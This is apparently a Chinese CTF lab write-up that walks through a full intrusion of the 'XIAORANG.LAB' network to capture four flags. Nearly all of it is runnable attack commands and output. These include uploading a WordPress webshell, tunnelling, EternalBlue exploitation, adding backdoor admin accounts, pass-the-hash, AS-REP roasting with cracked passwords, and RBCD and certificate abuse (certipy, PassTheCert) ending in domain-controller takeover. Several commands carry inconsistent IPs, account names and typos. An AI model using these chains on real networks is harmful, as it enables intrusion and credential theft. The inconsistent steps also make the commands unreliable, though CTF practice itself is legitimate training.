2022网鼎杯半决赛复现
flag01
39.99.151.78
./fscan -h 39.99.151.78
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
39.99.151.78:22 open
Open result.txt error, open result.txt: permission denied
39.99.151.78:80 open
Open result.txt error, open result.txt: permission denied
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.99.151.78 code:200 len:39988 title:XIAORANG.LAB
Open result.txt error, open result.txt: permission denied
已完成 2/2
[*] 扫描结束,耗时: 34.466418575s

弱密码admin/123456
随便找个php加马即可,记得是POST(蚁剑)
GET 对蚁剑不太友好,尤其是传输 payload 或执行命令时,因为:
- URL 长度限制:GET 请求的数据会放在 URL 中,过长容易被截断或过滤。
- 需要 URL 编码:蚁剑虽然支持 GET,但复杂 payload(比如特殊字符、命令、空格、&、? 等)都得手动 URL 编码。
- 浏览器有自动编码功能:浏览器地址栏输入时,它会自动帮你做部分 URL 编码,而蚁剑不一定会自动处理。


可以看到有三个模板,在启用的模板上加马再根据特定的【/wp-content/themes/ 是 WordPress 的标准目录,用来存放主题文件。后面接twentytwentyxxx 是主题名称目录,也就是咱们加上马的主题。】就是
http://39.99.151.78/wp-content/themes/twentytwentytwo/index.php

flag02
./linux_x64_admin -c 39.99.151.78:7879 -s 123
./linux_x64_agent -l 7879 -s 123
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.15.26 netmask 255.255.0.0 broadcast 172.22.255.255
扫一下
172.22.15.26:80 open
172.22.15.26:22 open
[*] WebTitle http://172.22.15.26 code:200 len:39962 title:XIAORANG.LAB
172.22.15.13:88 open
172.22.15.13:139 open
172.22.15.18:135 open
172.22.15.35:135 open
172.22.15.24:135 open
172.22.15.13:135 open
172.22.15.18:80 open
172.22.15.24:80 open
172.22.15.26:80 open
172.22.15.26:22 open
172.22.15.18:139 open
172.22.15.35:139 open
172.22.15.24:139 open
172.22.15.24:3306 open
172.22.15.18:445 open
172.22.15.35:445 open
172.22.15.13:445 open
172.22.15.24:445 open
[*] NetInfo
[*]172.22.15.35
[->]XR-0687
[->]172.22.15.35
[*] NetInfo
[*]172.22.15.24
[->]XR-WIN08
[->]172.22.15.24
[*] NetInfo
[*]172.22.15.13
[->]XR-DC01
[->]172.22.15.13
[*] NetInfo
[*]172.22.15.18
[->]XR-CA
[->]172.22.15.18
[*] WebTitle http://172.22.15.18 code:200 len:703 title:IIS Windows Server
[*] WebTitle http://172.22.15.24 code:302 len:0 title:None 跳转url: http://172.22.15.24/www
[*] NetBios 172.22.15.18 XR-CA.xiaorang.lab Windows Server 2016 Standard 14393
[*] OsInfo 172.22.15.13 (Windows Server 2016 Standard 14393)
[*] NetBios 172.22.15.35 XIAORANG\XR-0687
[*] NetBios 172.22.15.13 [+] DC:XR-DC01.xiaorang.lab Windows Server 2016 Standard 14393
[+] MS17-010 172.22.15.24 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios 172.22.15.24 WORKGROUP\XR-WIN08 Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] WebTitle http://172.22.15.26 code:200 len:39962 title:XIAORANG.LAB
[*] WebTitle http://172.22.15.24/www/sys/index.php code:200 len:135 title:None
[+] PocScan http://172.22.15.18 poc-yaml-active-directory-certsrv-detect
| IP 地址 | 开放端口 | 主机名 / OS | Web 信息 | 漏洞 / PocScan |
|---|---|---|---|---|
| 172.22.15.26 | 80, 22 | - | http://172.22.15.26 → 200 OK, title: XIAORANG.LAB | - |
| 172.22.15.13 | 88, 139, 135, 445 | XR-DC01, Windows Server 2016 Standard 14393 | - | - |
| 172.22.15.18 | 135, 80, 139, 445 | XR-CA, Windows Server 2016 Standard 14393 | http://172.22.15.18 → 200 OK, title: IIS Windows Server | PocScan: poc-yaml-active-directory-certsrv-detect |
| 172.22.15.24 | 135, 80, 139, 445, 3306 | XR-WIN08, Windows Server 2008 R2 Enterprise 7601 SP1 | http://172.22.15.24 → 302 redirect → http://172.22.15.24/wwwhttp://172.22.15.24/www/sys/index.php → 200 OK | MS17-010 |
| 172.22.15.35 | 135, 139, 445 | XR-0687 | - | - |
看见了永恒之蓝
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set proxies socks5:127.0.0.1:12345(新get)
set RHOSTS 172.22.15.24
exploit
加载powershell添用户
load powershell
powershell_execute "net user qaq qaqa1234! /add"
powershell_execute "net localgroup administrators qaq /add"
proxychains4 xfreerdp /u:qaqwww /p:'qaq@1234' /v:172.30.12.6
或者用route add

这个机器扫出来有永恒之蓝漏洞,我们先用msf进行流量转发然后利用内置payload进行攻击
route add 172.22.15.26/24 5
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set rhosts 172.22.1.21`
exploit`
ms17_010_eternalblue连接成功后即可获得meterpreter
或者用蚁剑的插件,将下面的复制在kali里执行即可反弹

cd /usr/share/doc/python3-impacket/examples
proxychains4 impacket-psexec administrator@172.22.15.24 -hashes ':0e52d03e9b939997401466a0ec5a9cbc' -codec gbk
net user qaq Abcd1234 /add
net localgroup administrators qaq /add
会登不上去
proxychains rdesktop 172.22.15.24 -u qaq -p 'Abcd1234'
proxychains4 xfreerdp /u:qaq /p:'Abcd1234' /v:172.22.15.24
发现账号确实是创上了
proxychains4 crackmapexec smb 172.22.15.24 -u 'qaq' -p 'Abcd1234'
这样行了
用
xfreerdp降级 TLS/NLA有些服务器启用了新 TLS,只需加:
/tls-seclevel:0:把 OpenSSL 的安全等级降到 0,允许非常旧的 TLS/算法(很多老 Windows/旧组件只支持 TLS1.0 或弱算法,否则会报ERRCONNECT_TLS_CONNECT_FAILED)。
/cert:ignore:忽略服务器证书校验(自签或过期证书环境常用)。
/sec:nla:指定安全层为 NLA(Network Level Authentication),也就是先走 CredSSP 认证。
/drive:share,/home/kali重定向本地目录为远端的一个磁盘:
share是映射在远端显示的“盘名”。/home/kali是你本机要共享出去的目录(目录必须存在)。- 登录后在远端 Windows 打开“此电脑/资源管理器”,会看到一个重定向的盘;也可以用 UNC 路径:
\\tsclient\share- 命令行举例:
copy \\tsclient\share\file.txt C:\Users\qaq\Desktop\想改成共享桌面就写:
/drive:share,"/home/kali/桌面"(路径里有空格或中文时建议加引号)。
proxychains4 xfreerdp /u:qaq /p:'Abcd1234' /v:172.22.15.24 /cert:ignore /sec:nla /tls-seclevel:0

flag03
在小皮上发现root的密码

root/root@#123
直接在这台机上http://localhost/phpmyadmin/就行

proxychains4 xfreerdp /u:qaq /p:'Abcd1234' /v:172.22.15.24 /cert:ignore /sec:nla /tls-seclevel:0 /drive:share,/home/kali
ps:3389 是远程桌面(RDP, Remote Desktop Protocol)的默认端口。
导出

也可以弱密码admin/123456进入后台再导密码
admin@xiaorang.lab
lixiuying@xiaorang.lab
lixiaoliang@xiaorang.lab
zhangyi@xiaorang.lab
jiaxiaoliang@xiaorang.lab
zhangli@xiaorang.lab
zhangwei@xiaorang.lab
liuqiang@xiaorang.lab
wangfang@xiaorang.lab
wangwei@xiaorang.lab
wanglihong@xiaorang.lab
huachunmei@xiaorang.lab
wanghao@xiaorang.lab
zhangxinyu@xiaorang.lab
huzhigang@xiaorang.lab
lihongxia@xiaorang.lab
wangyulan@xiaorang.lab
chenjianhua@xiaorang.lab
用 GetNPUsers
proxychains impacket-GetNPUsers -dc-ip 172.22.15.13 xiaorang.lab/ -usersfile user.txt
出来了
$krb5asrep$23$huachunmei@xiaorang.lab@XIAORANG.LAB:f00b5bb99c26ee95c3a1ad04c72c86f1$8b0b067fca3492adcb3ccd3209cd32fe81cb7a9d746e497cc0413baf73cadb0160f582748e23d8490bc7b1b75555058f1ca4fc50433efa086e87a93d1c96a575fea8d906b1ec3954a2f2829e9d3766fb5116671e30a0d4142c0e7d55fd9ba41e5fea148a6d5f0cda7a79b185b8c69d47c0e9fee1acad117264356958f3250c6e1a735026df219fa37a69e1ebdef69794f4d6e4b8450b94ba65407037d3d27f7c847908536cc5eaede85eb3bfb021c8ba92a67553e1bbdc3ea76020ca4a6e97d58d544da554e4aa656864bed0a509ed6be1d668056d5a9ab8f4c7c3049123a54e81b689b8f5933d029de07bb7
$krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB:de723d749e3f0dccd5d118f272ef3a19$29014587bdcc4c2dfa5363a66bee0d3abe14a32d1e598cf21c049d50ae5ce468ab1b0a2016fcfc1e6f432235fb8c79eb09f119b9c04f01447d8950ec0ec1339c49c8207594fdcfa8363f739652639640dc24632cac97b8451ee3d3d8d69d519e787747ab502c3d1c7b2a38abb61a03998dc36b2cc662f7595901fcc3685c0e4524dc1b0712118bb2bc161f6f79451da3f70d54cbcfb3e4ef583d9205963597ad97795daa32c8a8dff9b9d8baf54d6b31119e47254704117e79a7da8598d28fb2176fe7e1d01c5780743126fc511973cbfc8dd6daf0fcfaaa80bb85b7af9f194e99c9681c9f80972353220ad5
Kerberos AS-REP 哈希 ($krb5asrep$) John 处理得更好,几乎不依赖 GPU。
john --format=krb5asrep hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show hash.txt
$krb5asrep$23$huachunmei@xiaorang.lab@XIAORANG.LAB:1qaz2wsx
$krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB:winniethepooh
lixiuying:winniethepooh
huachunmei:1qaz2wsx
登172.22.15.35
proxychains4 xfreerdp /u:lixiuying /p:'winniethepooh' /v:172.22.15.35 /cert:ignore /sec:nla /tls-seclevel:0 /drive:share,/home/kali
看一下Bloodhound
proxychains bloodhound-python -u lixiuying -p winniethepooh -d xiaorang.lab -c all -ns 172.22.15.13 --zip --dns-tcp

第一条链:RBCD 提权(基于 GenericWrite)
GenericWrite 说明此用户可以修改该计算机账户的某些属性(比如 RBCD 委派配置),这是域内提权的重要入口。
LIXIUYING@XIAORANG.LAB 对 XR-0687.XIAORANG.LAB 有 GenericWrite 的权限。打 RBCD(资源基于约束委派)
加一个机器用户
在 域控 (172.22.15.13) 上添加一台“虚拟机器账户 01$”, 并不是直接在 172.22.15.35(XR-0687)上操作。(所以是172.22.15.13)
proxychains impacket-addcomputer -method SAMR xiaorang.lab/lixiuying:winniethepooh -computer-name 01\$ -computer-pass Abcd1234 -dc-ip 172.22.15.13
使用 SAMR 协议来添加计算机账户。
computer-name 01$
- 添加的计算机账户名,注意末尾的
$是域控要求的形式。- 在 Windows AD 中,计算机账户名字通常以
$结尾。-dc-ip永远是域控 IP

tools/PowerView.ps1 at master · shigophilo/tools (github.com)
传个PowerView.ps1
PS C:\Users\lixiuying\Desktop\1> Import-Module .\PowerView.ps1
PS C:\Users\lixiuying\Desktop\1> Get-NetComputer 01 -Properties objectsid
objectsid
---------
S-1-5-21-3745972894-1678056601-2622918667-1151
Import-Module .\PowerView.ps1导入 PowerView 模块,让你可以使用一系列 AD 枚举函数。
Get-NetComputer 01 -Properties objectsidGet-NetComputer 用于查询 域内计算机账户信息。
01 是计算机名(你刚用 Impacket 创建的那个计算机账户)。
-Properties objectsid 表示只查询 objectSID 属性。
S-1-5-21-3745972894-1678056601-2622918667→ 域的唯一标识符
1151→ 计算机账户在域内的 相对标识符(RID)这个 SID 表示 计算机账户 01$ 已成功在域中创建
构造 RBCD ACL,修改服务资源msDS-AllowedToActOnBehalfOfOtherIdentity属性
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3745972894-1678056601-2622918667-1151)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer XR-0687 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
Set-DomainObject -Set @{‘msds-allowedtoactonbehalfofotheridentity’=$SDBytes}
- 给这个计算机对象设置 RBCD 属性
- 意思是:允许 指定 SID(你的计算机账户) 代表
XR-0687发起 Kerberos 委派
之前创建的计算机账户(SID=1151)现在可以 在 Kerberos 上代表 XR-0687 执行身份委派操作。
它修改的是 目标机器 XR-0687 的 ACL 属性,并不是给机器账户 01$ 增加了能力,而是 在 XR-0687 上登记了一条“谁可以冒充”的名单。
你理解成“机器账户 01$ 获得了能力”没错,但从 AD 的角度,它是通过 修改目标机器 XR-0687 的委派白名单 来实现的。
典型用途:RBCD 权限提升

创建票据
proxychains impacket-getST xiaorang.lab/01\$:Abcd1234 -spn cifs/XR-0687.xiaorang.lab -impersonate administrator -dc-ip 172.22.15.13
[*] Saving ticket in administrator@cifs_XR-0687.xiaorang.lab@XIAORANG.LAB.ccache
impacket-getST:用来获取 Kerberos 服务票据(Service Ticket,简称 ST)。
xiaorang.lab/'01$':'Abcd1234':使用我们添加的伪造机器账户登录。
-spn cifs/XR-0687.xiaorang.lab:指定服务 SPN(这里是 CIFS 服务,对应文件共享/SMB)。
-impersonate Administrator:冒充 Administrator。
-dc-ip 172.22.15.13:域控 IP。

导入票据
export KRB5CCNAME=administrator.ccache
proxychains impacket-wmiexec -k -no-pass XIAORANG.LAB/administrator@XR-0687.xiaorang.lab -dc-ip 172.22.15.13
klist -c administrator.ccache
export KRB5CCNAME=administrator.ccacheKRB5CCNAME 指定 Kerberos 票据缓存文件
这里你把之前 impacket-getST 保存的 Administrator TGS 设置为当前会话使用
后续 Kerberos 命令或 Impacket 工具会自动使用这个票据
impacket-wmiexec→ 利用 WMI(Remote Management) 远程执行命令
-k→ 使用 Kerberos 认证
利用 RBCD + Kerberos TGS 权限,在 XR-0687 上以 Administrator 身份执行命令
注意bug:这里如果重复了,重新创建一个TEST用户

flag4
第二条链:证书滥用 + PassTheCert
proxychains certipy-ad zaccount create lixiuying@xiaorang.lab -p winniethepooh -dc -ip 172.22.15.13 -user Test2 -pass Test1234 dns 'XR-DC01.xiaorang.lab'
zaccount create
- 创建一个 Zaccount(证书账户对象)
- 在 AD 中,这类账户可以用于 Kerberos 证书认证(PKINIT)

找到可以签发证书的 CA(证书颁发机构)。用 certipy 先枚举一遍可利用的证书模版
proxychains certipy-ad find -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13

(这里有点问题)
1.用 lixiuying 登录域控制器
2.Certipy 查询 AD 中的 证书对象、Zaccount 或 SPN 信息
返回结果可以用来:
- 确认目标账户是否存在可用 Kerberos PKINIT
- 找到可利用的服务主体进行票据获取或攻击
按流程,用该机器账户向 XR-CA 请求证书
proxychains certipy-ad req -u Tests2\$@xiaorang.lab -p Test1234 -target 172.22.15.18 -ca "xiaorang-XR-CA-CA" -template Machine
-ca “xiaorang-XR-CA-CA”
指定证书颁发机构(CA)的名字。-template Machine
指定证书模板为 Machine,这是默认的计算机认证模板,通常用于计算机账户申请 Kerberos 证书。certipy-ad req
Certipy 的req(request)模块,用于向 CA 申请证书。-u Tests2$@xiaorang.lab
这是一个 机器账户(Computer Account),注意\$结尾表示计算机账户。
用户名是Tests2$,域是xiaorang.lab。

在申请 TGT 的时候出现了问题
$ proxychains certipy auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13 Certipy v4.7.0 - by Oliver Lyak (ly4k) [*] Using principal: xr-dc01$@xiaorang.lab [*] Trying to get TGT... [-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)报错
KDC_ERR_PADATA_TYPE_NOSUPP(域控没启用 PKINIT。)
这个域控不支持 Kerberos PKINIT(智能卡/TLS 证书登录),所以 Certipy 用证书申请 TGT 会失败。
所以用 Schannel 替代 PKINIT
Pass The Certificate when PKINIT Padata Type is NOSUPP | WHOAMI
首先得把pfx导出为.key 和.crt 两个文件(让你输入密码直接回车即可,空密码):
certipy-ad cert -pfx xr-dc01.pfx > cert.pem
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
openssl rsa -in cert.pem -out test.key
openssl x509 -in cert.pem -out test.crt
Certipy 导出的
.pfx格式默认是 PKCS#12,但它没有指定 Windows 所需的 CSP (Cryptographic Service Provider),
导致在 Windows MMC 导入时,可能会提示:
- “无法导入此证书”
- “私钥不可导出”
- 或 RDP、Rubeus 识别失败。
转成
.pem再转回.pfx的目的是:
- 重新封装成 带 Key Exchange 标志 (
-keyex) 且 Windows 认可的 PFX。- 加入
-CSP "Microsoft Enhanced Cryptographic Provider v1.0",确保兼容 RDP / SChannel / Kerberos PKINIT。
https://github.com/AlmondOffSec/PassTheCert/
用 Schannel 方式验证证书能否登录域控 (whoami)
cd ~/PassTheCert/Python
proxychains python3 passthecert.py -action whoami -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13

下一步将证书配置到域控的 RBCD, 用 PassTheCert 通过 Schannel 修改 RBCD,通过证书身份验证,以 TEST2$ 机器账户身份写 RBCD,把它委派到 XR-DC01 域控。
proxychains python3 passthecert.py -action write_rbcd -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from 'TEST2$'
让 TEST2 机器账户可以代表自己请求 XR-DC01 的服务票据 (S4U2Self + S4U2Proxy),从而伪造一个 DC 级别的 TGS,实现提权
接下来和之前一样申请ST
proxychains impacket-getST xiaorang.lab/'TEST2$':'P@ssw0rd' -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13
proxychains impacket-getST \
xiaorang.lab/'TEST2$':'P@ssw0rd' \
-spn cifs/XR-DC01.xiaorang.lab \
-impersonate Administrator \
-dc-ip 172.22.15.13 \
-save
为什么有时候只生成
Administrator.ccache?
- 旧版 Impacket 默认不启用
-save,只简单用模拟账户名命名。- 新版才会根据
<impersonate>@<spn>@<domain>自动拼出全名。

# hosts 文件信息
└─# cat /etc/hosts
172.22.15.35 XR-0687.xiaorang.lab
172.22.15.13 XR-DC01.xiaorang.lab
172.22.15.18 XR-CA.xiaorang.lab
接下来导入申请的票据,最后连接即可
export KRB5CCNAME=Administrator.ccache
export KRB5CCNAME=Administrator@cifs_XR-DC01.xiaorang.lab@XIAORANG.LAB.ccache
proxychains -q impacket-psexec -k -no-pass -dc-ip 172.22.15.13 administrator@XR-DC01.xiaorang.lab -codec gbk
或者利用 whoami 师傅的工具,通过证书认证到 LDAPS,添加机器账户 HACK03,并设置 HACK03 到域控制器 XR-DC01 的 RBCD
PassTheCertificate.exe -CertPath .\cert.pfx -MachineAccount HACK03$ -MachinePassword Qwer1234 -Target "CN=XR-DC01,OU=Domain Controllers,DC=xiaorang,DC=lab"